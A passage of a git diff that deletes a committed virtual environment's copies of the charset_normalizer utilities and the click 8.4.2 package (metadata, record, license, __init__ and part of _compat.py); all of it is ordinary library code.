CharsetMatch | None: - """ - Simply return the first match. Strict equivalent to matches[0]. - """ - if not self._results: - return None - self._ensure_sorted() - return self._results[0] - - def first(self) -> CharsetMatch | None: - """ - Redundant method, call the method best(). Kept for BC reasons. - """ - return self.best() - - -CoherenceMatch = Tuple[str, float] -CoherenceMatches = List[CoherenceMatch] - - -class CliDetectionResult: - def __init__( - self, - path: str, - encoding: str | None, - encoding_aliases: list[str], - alternative_encodings: list[str], - language: str, - alphabets: list[str], - has_sig_or_bom: bool, - chaos: float, - coherence: float, - unicode_path: str | None, - is_preferred: bool, - ): - self.path: str = path - self.unicode_path: str | None = unicode_path - self.encoding: str | None = encoding - self.encoding_aliases: list[str] = encoding_aliases - self.alternative_encodings: list[str] = alternative_encodings - self.language: str = language - self.alphabets: list[str] = alphabets - self.has_sig_or_bom: bool = has_sig_or_bom - self.chaos: float = chaos - self.coherence: float = coherence - self.is_preferred: bool = is_preferred - - @property - def __dict__(self) -> dict[str, Any]: # type: ignore - return { - "path": self.path, - "encoding": self.encoding, - "encoding_aliases": self.encoding_aliases, - "alternative_encodings": self.alternative_encodings, - "language": self.language, - "alphabets": self.alphabets, - "has_sig_or_bom": self.has_sig_or_bom, - "chaos": self.chaos, - "coherence": self.coherence, - "unicode_path": self.unicode_path, - "is_preferred": self.is_preferred, - } - - def to_json(self) -> str: - from json import dumps - - return dumps(self.__dict__, ensure_ascii=True, indent=4) diff --git a/venv/Lib/site-packages/charset_normalizer/py.typed b/venv/Lib/site-packages/charset_normalizer/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/charset_normalizer/utils.py b/venv/Lib/site-packages/charset_normalizer/utils.py deleted file mode 100644 index b6e6fb5a625f69761441e5465521d922599bce65..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer/utils.py +++ /dev/null @@ -1,452 +0,0 @@ -from __future__ import annotations - -import importlib -import logging -import unicodedata -from bisect import bisect_right -from codecs import IncrementalDecoder -from functools import lru_cache -from typing import Generator - -from .constant import ( - ENCODING_MARKS, - IANA_SUPPORTED_SIMILAR, - RE_POSSIBLE_ENCODING_INDICATION, - UNICODE_RANGES_COMBINED, - _SECONDARY_RANGE_NAMES, - COMMON_CJK_CHARACTERS, - _LATIN, - _CJK, - _HANGUL, - _KATAKANA, - _HIRAGANA, - _HALFWIDTH_KATAKANA, - _THAI, - _ARABIC, - _ARABIC_ISOLATED_FORM, - _LIGATURE, - _SUPERSCRIPT, - _SENTENCE_OPEN_PUNCTUATION, - _ACCENT_KEYWORDS, - _ACCENTUATED, - _KNOWN_MB_DECODERS, - _KNOWN_MB_CLASSES, - _IANA_NAMES, - _MULTIBYTE_SEARCH_RADIUS, -) - - -def _character_flags(character: str) -> int: - """Compute all name-based classification flags with a single unicodedata.name() call.""" - try: - desc: str = unicodedata.name(character) - except ValueError: - return 0 - - flags: int = 0 - - if "LATIN" in desc: - flags |= _LATIN - if "CJK" in desc: - flags |= _CJK - if "HANGUL" in desc: - flags |= _HANGUL - if "KATAKANA" in desc: - flags |= _KATAKANA - if "HALFWIDTH" in desc: - flags |= _HALFWIDTH_KATAKANA - if "HIRAGANA" in desc: - flags |= _HIRAGANA - if "THAI" in desc: - flags |= _THAI - if "ARABIC" in desc: - flags |= _ARABIC - if "ISOLATED FORM" in desc: - flags |= _ARABIC_ISOLATED_FORM - if "LIGATURE" in desc or desc.endswith("LETTER AE"): - flags |= _LIGATURE - if "SUPERSCRIPT" in desc: - flags |= _SUPERSCRIPT - if desc in {"INVERTED QUESTION MARK", "INVERTED EXCLAMATION MARK"}: - flags |= _SENTENCE_OPEN_PUNCTUATION - - for kw in _ACCENT_KEYWORDS: - if kw in desc: - flags |= _ACCENTUATED - break - - return flags - - -def is_accentuated(character: str) -> bool: - return bool(_character_flags(character) & _ACCENTUATED) - - -def remove_accent(character: str) -> str: - decomposed: str = unicodedata.decomposition(character) - if not decomposed: - return character - - codes: list[str] = decomposed.split(" ") - - return chr(int(codes[0], 16)) - - -# Pre-built sorted lookup table for O(log n) binary search in unicode_range(). -# Each entry is (range_start, range_end_exclusive, range_name). -_UNICODE_RANGES_SORTED: list[tuple[int, int, str]] = sorted( - (ord_range.start, ord_range.stop, name) - for name, ord_range in UNICODE_RANGES_COMBINED.items() -) -_UNICODE_RANGE_STARTS: list[int] = [e[0] for e in _UNICODE_RANGES_SORTED] - - -def unicode_range(character: str) -> str | None: - """ - Retrieve the Unicode range official name from a single character. - """ - character_ord: int = ord(character) - - if character_ord < 32: - return "Control character" - if character_ord < 128: - return "Basic Latin" - - # Binary search: find the rightmost range whose start <= character_ord - idx = bisect_right(_UNICODE_RANGE_STARTS, character_ord) - 1 - if idx >= 0: - start, stop, name = _UNICODE_RANGES_SORTED[idx] - if character_ord < stop: - return name - - return None - - -def is_latin(character: str) -> bool: - return bool(_character_flags(character) & _LATIN) - - -def is_punctuation(character: str) -> bool: - character_category: str = unicodedata.category(character) - - if "P" in character_category: - return True - - character_range: str | None = unicode_range(character) - - if character_range is None: - return False - - return "Punctuation" in character_range - - -def is_symbol(character: str) -> bool: - character_category: str = unicodedata.category(character) - - if "S" in character_category or "N" in character_category: - return True - - character_range: str | None = unicode_range(character) - - if character_range is None: - return False - - return "Forms" in character_range and character_category != "Lo" - - -def is_emoticon(character: str) -> bool: - character_range: str | None = unicode_range(character) - - if character_range is None: - return False - - return "Emoticons" in character_range or "Pictographs" in character_range - - -def is_separator(character: str) -> bool: - if character.isspace() or character in {"|", "+", "<", ">"}: - return True - - character_category: str = unicodedata.category(character) - - return "Z" in character_category or character_category in {"Po", "Pd", "Pc"} - - -def is_case_variable(character: str) -> bool: - return character.islower() != character.isupper() - - -def is_cjk(character: str) -> bool: - return bool(_character_flags(character) & _CJK) - - -def is_hiragana(character: str) -> bool: - return bool(_character_flags(character) & _HIRAGANA) - - -def is_katakana(character: str) -> bool: - return bool(_character_flags(character) & _KATAKANA) - - -def is_hangul(character: str) -> bool: - return bool(_character_flags(character) & _HANGUL) - - -def is_thai(character: str) -> bool: - return bool(_character_flags(character) & _THAI) - - -def is_arabic(character: str) -> bool: - return bool(_character_flags(character) & _ARABIC) - - -def is_arabic_isolated_form(character: str) -> bool: - return bool(_character_flags(character) & _ARABIC_ISOLATED_FORM) - - -def is_cjk_uncommon(character: str) -> bool: - return character not in COMMON_CJK_CHARACTERS - - -def is_unicode_range_secondary(range_name: str) -> bool: - return range_name in _SECONDARY_RANGE_NAMES - - -def is_unprintable(character: str) -> bool: - return ( - not character.isspace() # includes \n \t \r \v - and not character.isprintable() - and character != "\x1a" # Why? Its the ASCII substitute character. - and character != "\ufeff" # bug discovered in Python, - # Zero Width No-Break Space located in Arabic Presentation Forms-B, Unicode 1.1 not acknowledged as space. - ) - - -def any_specified_encoding( - sequence: bytes | bytearray, search_zone: int = 8192 -) -> str | None: - """ - Extract using ASCII-only decoder any specified encoding in the first n-bytes. - """ - if not isinstance(sequence, (bytes, bytearray)): - raise TypeError - - seq_len: int = len(sequence) - - # Cheap literal pre-filter. - search_bytes = sequence[: min(seq_len, search_zone)] - lowered_bytes = search_bytes.lower() - if b"coding" not in lowered_bytes and b"charset" not in lowered_bytes: - return None - - decoded_zone: str = search_bytes.decode("ascii", errors="ignore") - - for match in RE_POSSIBLE_ENCODING_INDICATION.finditer(decoded_zone): - specified_encoding = match.group(1).lower().replace("-", "_") - encoding_iana = _IANA_NAMES.get(specified_encoding) - if encoding_iana is not None: - return encoding_iana - - return None - - -@lru_cache(maxsize=None) -def is_multi_byte_encoding(name: str) -> bool: - """ - Verify is a specific encoding is a multi byte one based on it IANA name - """ - if name in _KNOWN_MB_DECODERS: - return True - - # Besides the Unicode family above, every multibyte codec shipped with - # Python is implemented by _multibytecodec through exactly one of the six - # cjkcodecs providers below. Probing those providers directly (getcodec) - # classifies a name without importing its "encodings." module: - # classifying the whole IANA_SUPPORTED list would otherwise import many - # modules and dominate "import charset_normalizer" wall time. - # see https://github.com/jawah/charset_normalizer/issues/742 - for provider in _KNOWN_MB_CLASSES: - try: - importlib.import_module(provider).getcodec(name) # type: ignore[attr-defined] - except (ImportError, AttributeError, LookupError): # Defensive: edge cases - continue - return True - - return False - - -def identify_sig_or_bom(sequence: bytes | bytearray) -> tuple[str | None, bytes]: - """ - Identify and extract SIG/BOM in given sequence. - """ - - for iana_encoding in ENCODING_MARKS: - marks: bytes | list[bytes] = ENCODING_MARKS[iana_encoding] - - if isinstance(marks, bytes): - marks = [marks] - - for mark in marks: - if sequence.startswith(mark): - return iana_encoding, mark - - return None, b"" - - -def should_strip_sig_or_bom(iana_encoding: str) -> bool: - return iana_encoding not in {"utf_16", "utf_32"} - - -def iana_name(cp_name: str, strict: bool = True) -> str: - """Returns the Python normalized encoding name (Not the IANA official name).""" - cp_name = cp_name.lower().replace("-", "_") - - encoding_iana = _IANA_NAMES.get(cp_name) - if encoding_iana is not None: - return encoding_iana - - if strict: - raise ValueError(f"Unable to retrieve IANA for '{cp_name}'") - - return cp_name - - -def cp_similarity(iana_name_a: str, iana_name_b: str) -> float: - if is_multi_byte_encoding(iana_name_a) or is_multi_byte_encoding(iana_name_b): - return 0.0 - - decoder_a = importlib.import_module(f"encodings.{iana_name_a}").IncrementalDecoder - decoder_b = importlib.import_module(f"encodings.{iana_name_b}").IncrementalDecoder - - id_a: IncrementalDecoder = decoder_a(errors="ignore") - id_b: IncrementalDecoder = decoder_b(errors="ignore") - - character_match_count: int = 0 - - for i in range(256): - to_be_decoded: bytes = bytes([i]) - if id_a.decode(to_be_decoded) == id_b.decode(to_be_decoded): - character_match_count += 1 - - return character_match_count / 256 - - -def is_cp_similar(iana_name_a: str, iana_name_b: str) -> bool: - """ - Determine if two code page are at least 80% similar. IANA_SUPPORTED_SIMILAR dict was generated using - the function cp_similarity. - """ - return ( - iana_name_a in IANA_SUPPORTED_SIMILAR - and iana_name_b in IANA_SUPPORTED_SIMILAR[iana_name_a] - ) - - -def set_logging_handler( - name: str = "charset_normalizer", - level: int = logging.INFO, - format_string: str = "%(asctime)s | %(levelname)s | %(message)s", -) -> None: - logger = logging.getLogger(name) - logger.setLevel(level) - - handler = logging.StreamHandler() - handler.setFormatter(logging.Formatter(format_string)) - logger.addHandler(handler) - - -def cut_sequence_chunks( - sequences: bytes | bytearray, - encoding_iana: str, - offsets: range, - chunk_size: int, - bom_or_sig_available: bool, - strip_sig_or_bom: bool, - sig_payload: bytes, - is_multi_byte_decoder: bool, - decoded_payload: str | None = None, - deferred_decoding: bool = False, -) -> Generator[str, None, None]: - # iso2022 codec is stateful, generic mb cuter isn't going to cut it! - if decoded_payload and encoding_iana.startswith("iso2022_"): - decoded_length = len(decoded_payload) - sequence_length = len(sequences) - for i in offsets: - decoded_offset = i * decoded_length // sequence_length - chunk = decoded_payload[decoded_offset : decoded_offset + chunk_size] - if not chunk: - break - yield chunk - elif decoded_payload and not is_multi_byte_decoder: - for i in offsets: - chunk = decoded_payload[i : i + chunk_size] - if not chunk: - break - yield chunk - elif deferred_decoding: - # Deferred single-byte probing: the whole payload is not decoded - # yet. Single-byte codecs are stateless (1 byte == 1 char), hence - # decode(base)[i:j] == decode(base[i:j]): slicing the raw bytes - # yields exactly the chunks the branch above would have produced, - # short trailing chunks included, and raises UnicodeDecodeError on - # invalid bytes just like the whole-payload decode would. - base_bytes = ( - sequences if not strip_sig_or_bom else sequences[len(sig_payload) :] - ) - for i in offsets: - cut_sequence = base_bytes[i : i + chunk_size] - if not cut_sequence: - break - yield str(cut_sequence, encoding_iana) - else: - for i in offsets: - chunk_end = i + chunk_size - if chunk_end > len(sequences) + 8: - continue - - cut_sequence = sequences[i : i + chunk_size] - - if bom_or_sig_available and not strip_sig_or_bom: - cut_sequence = sig_payload + cut_sequence - - chunk = cut_sequence.decode( - encoding_iana, - errors="ignore" if is_multi_byte_decoder else "strict", - ) - - # multi-byte bad cutting detector and adjustment - # not the cleanest way to perform that fix but clever enough for now. - if is_multi_byte_decoder and i > 0: - chunk_partial_size_chk: int = min(chunk_size, 16) - chunk_prefix = chunk[:chunk_partial_size_chk] - found_nearby = False - - if decoded_payload: - decoded_length = len(decoded_payload) - expected_offset = i * decoded_length // len(sequences) - search_start = max(0, expected_offset - _MULTIBYTE_SEARCH_RADIUS) - search_end = min( - decoded_length, expected_offset + _MULTIBYTE_SEARCH_RADIUS - ) - found_nearby = ( - decoded_payload.find(chunk_prefix, search_start, search_end) - >= 0 - ) - - if ( - decoded_payload - and not found_nearby - and chunk_prefix not in decoded_payload - ): - for j in range(i, i - 4, -1): - cut_sequence = sequences[j:chunk_end] - - if bom_or_sig_available and not strip_sig_or_bom: - cut_sequence = sig_payload + cut_sequence - - chunk = cut_sequence.decode(encoding_iana, errors="ignore") - - if chunk[:chunk_partial_size_chk] in decoded_payload: - break - - yield chunk diff --git a/venv/Lib/site-packages/charset_normalizer/version.py b/venv/Lib/site-packages/charset_normalizer/version.py deleted file mode 100644 index ec0b0ee587feaf318c4732fbe1d454fdcfde117d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/charset_normalizer/version.py +++ /dev/null @@ -1,8 +0,0 @@ -""" -Expose version -""" - -from __future__ import annotations - -__version__ = "3.5.1" -VERSION = __version__.split(".") diff --git a/venv/Lib/site-packages/click-8.4.2.dist-info/INSTALLER b/venv/Lib/site-packages/click-8.4.2.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click-8.4.2.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/click-8.4.2.dist-info/METADATA b/venv/Lib/site-packages/click-8.4.2.dist-info/METADATA deleted file mode 100644 index 1fb06f0478b071761108832c2c0099cc5967ee6f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click-8.4.2.dist-info/METADATA +++ /dev/null @@ -1,84 +0,0 @@ -Metadata-Version: 2.4 -Name: click -Version: 8.4.2 -Summary: Composable command line interface toolkit -Maintainer-email: Pallets -Requires-Python: >=3.10 -Description-Content-Type: text/markdown -License-Expression: BSD-3-Clause -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: Operating System :: OS Independent -Classifier: Programming Language :: Python -Classifier: Typing :: Typed -License-File: LICENSE.txt -Requires-Dist: colorama; platform_system == 'Windows' -Project-URL: Changes, https://click.palletsprojects.com/page/changes/ -Project-URL: Chat, https://discord.gg/pallets -Project-URL: Documentation, https://click.palletsprojects.com/ -Project-URL: Donate, https://palletsprojects.com/donate -Project-URL: Source, https://github.com/pallets/click/ - -
- -# Click - -Click is a Python package for creating beautiful command line interfaces -in a composable way with as little code as necessary. It's the "Command -Line Interface Creation Kit". It's highly configurable but comes with -sensible defaults out of the box. - -It aims to make the process of writing command line tools quick and fun -while also preventing any frustration caused by the inability to -implement an intended CLI API. - -Click in three points: - -- Arbitrary nesting of commands -- Automatic help page generation -- Supports lazy loading of subcommands at runtime - - -## A Simple Example - -```python -import click - -@click.command() -@click.option("--count", default=1, help="Number of greetings.") -@click.option("--name", prompt="Your name", help="The person to greet.") -def hello(count, name): - """Simple program that greets NAME for a total of COUNT times.""" - for _ in range(count): - click.echo(f"Hello, {name}!") - -if __name__ == '__main__': - hello() -``` - -``` -$ python hello.py --count=3 -Your name: Click -Hello, Click! -Hello, Click! -Hello, Click! -``` - - -## Donate - -The Pallets organization develops and supports Click and other popular -packages. In order to grow the community of contributors and users, and -allow the maintainers to devote more time to the projects, [please -donate today][]. - -[please donate today]: https://palletsprojects.com/donate - -## Contributing - -See our [detailed contributing documentation][contrib] for many ways to -contribute, including reporting issues, requesting features, asking or answering -questions, and making PRs. - -[contrib]: https://palletsprojects.com/contributing/ - diff --git a/venv/Lib/site-packages/click-8.4.2.dist-info/RECORD b/venv/Lib/site-packages/click-8.4.2.dist-info/RECORD deleted file mode 100644 index b86e5eb42cbe90d800318275fa4a182e8ebaa57b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click-8.4.2.dist-info/RECORD +++ /dev/null @@ -1,40 +0,0 @@ -click-8.4.2.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -click-8.4.2.dist-info/METADATA,sha256=GUyd2B1Wf5CB8CbH5AEGD7r6e8FHyOClizZotApkwDE,2621 -click-8.4.2.dist-info/RECORD,, -click-8.4.2.dist-info/WHEEL,sha256=G2gURzTEtmeR8nrdXUJfNiB3VYVxigPQ-bEQujpNiNs,82 -click-8.4.2.dist-info/licenses/LICENSE.txt,sha256=morRBqOU6FO_4h9C9OctWSgZoigF2ZG18ydQKSkrZY0,1475 -click/__init__.py,sha256=FId2fXCSJB3yeWD-e2uON-mBhFa2Yc9MvXGmHu8OXG0,4634 -click/__pycache__/__init__.cpython-314.pyc,, -click/__pycache__/_compat.cpython-314.pyc,, -click/__pycache__/_termui_impl.cpython-314.pyc,, -click/__pycache__/_textwrap.cpython-314.pyc,, -click/__pycache__/_utils.cpython-314.pyc,, -click/__pycache__/_winconsole.cpython-314.pyc,, -click/__pycache__/core.cpython-314.pyc,, -click/__pycache__/decorators.cpython-314.pyc,, -click/__pycache__/exceptions.cpython-314.pyc,, -click/__pycache__/formatting.cpython-314.pyc,, -click/__pycache__/globals.cpython-314.pyc,, -click/__pycache__/parser.cpython-314.pyc,, -click/__pycache__/shell_completion.cpython-314.pyc,, -click/__pycache__/termui.cpython-314.pyc,, -click/__pycache__/testing.cpython-314.pyc,, -click/__pycache__/types.cpython-314.pyc,, -click/__pycache__/utils.cpython-314.pyc,, -click/_compat.py,sha256=gPNtXQ9q-G6Qil2b-MC5CsHsGGcQ4u6YSWy9_tlmuhc,18879 -click/_termui_impl.py,sha256=CGdg24AeXijeGSzbu0Z7x3c4aaahVFjVBpEbbjhQ5K4,31730 -click/_textwrap.py,sha256=7Z0N7Vmn-66TNSTUwp6OXJbcUXRmYET9h9c2ucD8oQQ,6270 -click/_utils.py,sha256=eCZCtwJtsYD5QYkkNWJ8MY_8ABIjy8MczgMMyVY32rQ,996 -click/_winconsole.py,sha256=KSxfNbMlYRa6GOJuCLgsg2Pb3dVkgJNPqLJPae-Pa10,8543 -click/core.py,sha256=rZz76ihNTFV4Y2sxp3H-m93GxL2acD5Pqs0IobEvmuk,140616 -click/decorators.py,sha256=9e1Ndu4jhGAcP6RGdNPAwAWtuP9hEs4ETp1u3lKmH1o,19709 -click/exceptions.py,sha256=HvSY34G4auj_bYRR8-T8CU8Jwq_1-OcsRU4ezfozeEk,11862 -click/formatting.py,sha256=8SW2KGkvjfz9Q1NbeojMHuZBN0cfnQJDs4mqDP6oXms,10444 -click/globals.py,sha256=gM-Nh6A4M0HB_SgkaF5M4ncGGMDHc_flHXu9_oh4GEU,1923 -click/parser.py,sha256=oJ-fU_3mvxugIuNtHaCATZ56lgEmHRggjJiSqEgYrjA,19052 -click/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -click/shell_completion.py,sha256=5tGGY5pV3mAZ17xT23OnuKrWqzEyyLVtrJ30npUxjkU,22618 -click/termui.py,sha256=Vn9ehmrQl92z2_6R4bVZOsHUI6j8LrT8u0RzNZUpCvY,33213 -click/testing.py,sha256=S9I-pspAlJH3RvZJWDQoJXb-M0nrAEJzXcUzrVXsT34,26458 -click/types.py,sha256=9G4DB-nBj-omA_XWsYwbQ3H9BkpH82wJj-kxIPScKmA,44788 -click/utils.py,sha256=XwrDxOzU__rnHn-rvJmJcD7ecbypUKMeDJQRjN2F-OA,20942 diff --git a/venv/Lib/site-packages/click-8.4.2.dist-info/WHEEL b/venv/Lib/site-packages/click-8.4.2.dist-info/WHEEL deleted file mode 100644 index d8b9936dad9ab2513fa6979f411560d3b6b57e37..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click-8.4.2.dist-info/WHEEL +++ /dev/null @@ -1,4 +0,0 @@ -Wheel-Version: 1.0 -Generator: flit 3.12.0 -Root-Is-Purelib: true -Tag: py3-none-any diff --git a/venv/Lib/site-packages/click-8.4.2.dist-info/licenses/LICENSE.txt b/venv/Lib/site-packages/click-8.4.2.dist-info/licenses/LICENSE.txt deleted file mode 100644 index d12a849186982399c537c5b9a8fd77bf2edd5eab..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click-8.4.2.dist-info/licenses/LICENSE.txt +++ /dev/null @@ -1,28 +0,0 @@ -Copyright 2014 Pallets - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - -1. Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - -2. Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in the - documentation and/or other materials provided with the distribution. - -3. Neither the name of the copyright holder nor the names of its - contributors may be used to endorse or promote products derived from - this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A -PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/venv/Lib/site-packages/click/__init__.py b/venv/Lib/site-packages/click/__init__.py deleted file mode 100644 index 64be7e0c3c942191ed1e2259b96c6225679ae317..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click/__init__.py +++ /dev/null @@ -1,126 +0,0 @@ -""" -Click is a simple Python module inspired by the stdlib optparse to make -writing command line scripts fun. Unlike other modules, it's based -around a simple API that does not come with too much magic and is -composable. -""" - -from __future__ import annotations - -from .core import Argument as Argument -from .core import Command as Command -from .core import CommandCollection as CommandCollection -from .core import Context as Context -from .core import Group as Group -from .core import Option as Option -from .core import Parameter as Parameter -from .core import ParameterSource as ParameterSource -from .decorators import argument as argument -from .decorators import command as command -from .decorators import confirmation_option as confirmation_option -from .decorators import group as group -from .decorators import help_option as help_option -from .decorators import make_pass_decorator as make_pass_decorator -from .decorators import option as option -from .decorators import pass_context as pass_context -from .decorators import pass_obj as pass_obj -from .decorators import password_option as password_option -from .decorators import version_option as version_option -from .exceptions import Abort as Abort -from .exceptions import BadArgumentUsage as BadArgumentUsage -from .exceptions import BadOptionUsage as BadOptionUsage -from .exceptions import BadParameter as BadParameter -from .exceptions import ClickException as ClickException -from .exceptions import FileError as FileError -from .exceptions import MissingParameter as MissingParameter -from .exceptions import NoSuchCommand as NoSuchCommand -from .exceptions import NoSuchOption as NoSuchOption -from .exceptions import UsageError as UsageError -from .formatting import HelpFormatter as HelpFormatter -from .formatting import wrap_text as wrap_text -from .globals import get_current_context as get_current_context -from .termui import clear as clear -from .termui import confirm as confirm -from .termui import echo_via_pager as echo_via_pager -from .termui import edit as edit -from .termui import get_pager_file as get_pager_file -from .termui import getchar as getchar -from .termui import launch as launch -from .termui import pause as pause -from .termui import progressbar as progressbar -from .termui import prompt as prompt -from .termui import secho as secho -from .termui import style as style -from .termui import unstyle as unstyle -from .types import BOOL as BOOL -from .types import Choice as Choice -from .types import DateTime as DateTime -from .types import File as File -from .types import FLOAT as FLOAT -from .types import FloatRange as FloatRange -from .types import INT as INT -from .types import IntRange as IntRange -from .types import ParamType as ParamType -from .types import Path as Path -from .types import STRING as STRING -from .types import Tuple as Tuple -from .types import UNPROCESSED as UNPROCESSED -from .types import UUID as UUID -from .utils import echo as echo -from .utils import format_filename as format_filename -from .utils import get_app_dir as get_app_dir -from .utils import get_binary_stream as get_binary_stream -from .utils import get_text_stream as get_text_stream -from .utils import open_file as open_file - - -def __getattr__(name: str) -> object: - import warnings - - if name == "BaseCommand": - from .core import _BaseCommand - - warnings.warn( - "'BaseCommand' is deprecated and will be removed in Click 9.0. Use" - " 'Command' instead.", - DeprecationWarning, - stacklevel=2, - ) - return _BaseCommand - - if name == "MultiCommand": - from .core import _MultiCommand - - warnings.warn( - "'MultiCommand' is deprecated and will be removed in Click 9.0. Use" - " 'Group' instead.", - DeprecationWarning, - stacklevel=2, - ) - return _MultiCommand - - if name == "OptionParser": - from .parser import _OptionParser - - warnings.warn( - "'OptionParser' is deprecated and will be removed in Click 9.0. The" - " old parser is available in 'optparse'.", - DeprecationWarning, - stacklevel=2, - ) - return _OptionParser - - if name == "__version__": - import importlib.metadata - import warnings - - warnings.warn( - "The '__version__' attribute is deprecated and will be removed in" - " Click 9.1. Use feature detection or" - " 'importlib.metadata.version(\"click\")' instead.", - DeprecationWarning, - stacklevel=2, - ) - return importlib.metadata.version("click") - - raise AttributeError(name) diff --git a/venv/Lib/site-packages/click/_compat.py b/venv/Lib/site-packages/click/_compat.py deleted file mode 100644 index 134c4f38934be0a0be78a6d2a3ab100fe60389b2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click/_compat.py +++ /dev/null @@ -1,626 +0,0 @@ -from __future__ import annotations - -import codecs -import collections.abc as cabc -import io -import os -import re -import sys -import typing as t -from types import TracebackType -from weakref import WeakKeyDictionary - -CYGWIN = sys.platform.startswith("cygwin") -WIN = sys.platform.startswith("win") -auto_wrap_for_ansi: t.Callable[[t.TextIO], t.TextIO] | None = None -_ansi_re = re.compile(r"\033\[[;?0-9]*[a-zA-Z]") - - -def _make_text_stream( - stream: t.BinaryIO, - encoding: str | None, - errors: str | None, - force_readable: bool = False, - force_writable: bool = False, -) -> t.TextIO: - if encoding is None: - encoding = get_best_encoding(stream) - if errors is None: - errors = "replace" - return _NonClosingTextIOWrapper( - stream, - encoding, - errors, - line_buffering=True, - force_readable=force_readable, - force_writable=force_writable, - ) - - -def is_ascii_encoding(encoding: str) -> bool: - """Checks if a given encoding is ascii.""" - try: - return codecs.lookup(encoding).name == "ascii" - except LookupError: - return False - - -def get_best_encoding(stream: t.IO[t.Any]) -> str: - """Returns the default stream encoding if not found.""" - rv = getattr(stream, "encoding", None) or sys.getdefaultencoding() - if is_ascii_encoding(rv): - return "utf-8" - return rv - - -class _NonClosingTextIOWrapper(io.TextIOWrapper): - def __init__( - self, - stream: t.BinaryIO, - encoding: str | None, - errors: str | None, - force_readable: bool = False, - force_writable: bool = False, - **extra: t.Any, - ) -> None: - self._stream = stream = t.cast( - t.BinaryIO, _FixupStream(stream, force_readable, force_writable) - ) - super().__init__(stream, encoding, errors, **extra) - - def __del__(self) -> None: - try: - self.detach() - except Exception: - pass - - def isatty(self) -> bool: - # https://bitbucket.org/pypy/pypy/issue/1803 - return self._stream.isatty() - - -class _FixupStream: - """The new io interface needs more from streams than streams - traditionally implement. As such, this fix-up code is necessary in - some circumstances. - - The forcing of readable and writable flags are there because some tools - put badly patched objects on sys (one such offender are certain version - of jupyter notebook). - """ - - def __init__( - self, - stream: t.BinaryIO, - force_readable: bool = False, - force_writable: bool = False, - ): - self._stream = stream - self._force_readable = force_readable - self._force_writable = force_writable - - def __getattr__(self, name: str) -> t.Any: - return getattr(self._stream, name) - - def read1(self, size: int) -> bytes: - f = getattr(self._stream, "read1", None) - - if f is not None: - return t.cast(bytes, f(size)) - - return self._stream.read(size) - - def readable(self) -> bool: - if self._force_readable: - return True - x = getattr(self._stream, "readable", None) - if x is not None: - return t.cast(bool, x()) - try: - self._stream.read(0) - except Exception: - return False - return True - - def writable(self) -> bool: - if self._force_writable: - return True - x = getattr(self._stream, "writable", None) - if x is not None: - return t.cast(bool, x()) - try: - self._stream.write(b"") - except Exception: - try: - self._stream.write(b"") - except Exception: - return False - return True - - def seekable(self) -> bool: - x = getattr(self._stream, "seekable", None) - if x is not None: - return t.cast(bool, x()) - try: - self._stream.seek(self._stream.tell()) - except Exception: - return False - return True - - -def _is_binary_reader(stream: t.IO[t.Any], default: bool = False) -> bool: - try: - return isinstance(stream.read(0), bytes) - except Exception: - return default - # This happens in some cases where the stream was already - # closed. In this case, we assume the default. - - -def _is_binary_writer(stream: t.IO[t.Any], default: bool = False) -> bool: - try: - stream.write(b"") - except Exception: - try: - stream.write("") - return False - except Exception: - pass - return default - return True - - -def _find_binary_reader(stream: t.IO[t.Any]) -> t.BinaryIO | None: - # We need to figure out if the given stream is already binary. - # This can happen because the official docs recommend detaching - # the streams to get binary streams. Some code might do this, so - # we need to deal with this case explicitly. - if _is_binary_reader(stream, False): - return t.cast(t.BinaryIO, stream) - - buf = getattr(stream, "buffer", None) - - # Same situation here; this time we assume that the buffer is - # actually binary in case it's closed. - if buf is not None and _is_binary_reader(buf, True): - return t.cast(t.BinaryIO, buf) - - return None - - -def _find_binary_writer(stream: t.IO[t.Any]) -> t.BinaryIO | None: - # We need to figure out if the given stream is already binary. - # This can happen because the official docs recommend detaching - # the streams to get binary streams. Some code might do this, so - # we need to deal with this case explicitly. - if _is_binary_writer(stream, False): - return t.cast(t.BinaryIO, stream) - - buf = getattr(stream, "buffer", None) - - # Same situation here; this time we assume that the buffer is - # actually binary in case it's closed. - if buf is not None and _is_binary_writer(buf, 